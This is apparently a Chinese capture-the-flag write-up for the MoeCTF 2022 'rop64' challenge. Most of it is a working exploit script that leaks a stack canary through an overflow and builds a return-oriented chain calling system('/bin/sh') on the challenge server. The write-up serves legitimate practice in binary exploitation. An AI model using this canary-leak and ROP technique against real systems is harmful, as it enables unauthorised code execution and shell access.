跳到主要内容

[MoeCTF 2022]rop64

157 浏览

Problem:

题目 #3341题目信息加载失败

[[toc]]

思路

  • ret2text

EXP

from PwnModules import * io, elf = get_utils('./moe_rop64', False, 'node5.anna.nssctf.cn', 28100) init_env('amd64', 'debug') io.recvuntil(b'Go Go Go!!!\n') io.send(b'A' * 0x29) io.recvuntil(b'A' * 0x29) Canary = u64(io.recv(7).rjust(8, b'\x00')) print(hex(Canary)) system = 0x401284 binsh = 0x404058 rdi = 0x4011DE ret = 0x40101A Payload = b'A' * (0x30 - 0x08) + p64(Canary) + p64(0xdeadbeef) + p64(rdi) + p64(binsh) + p64(system) io.send(Payload) io.interactive() ​

总结

  • 使用printf泄露canary,然后正常打即可
  • 使用call system而不是elf.sym['sytstem']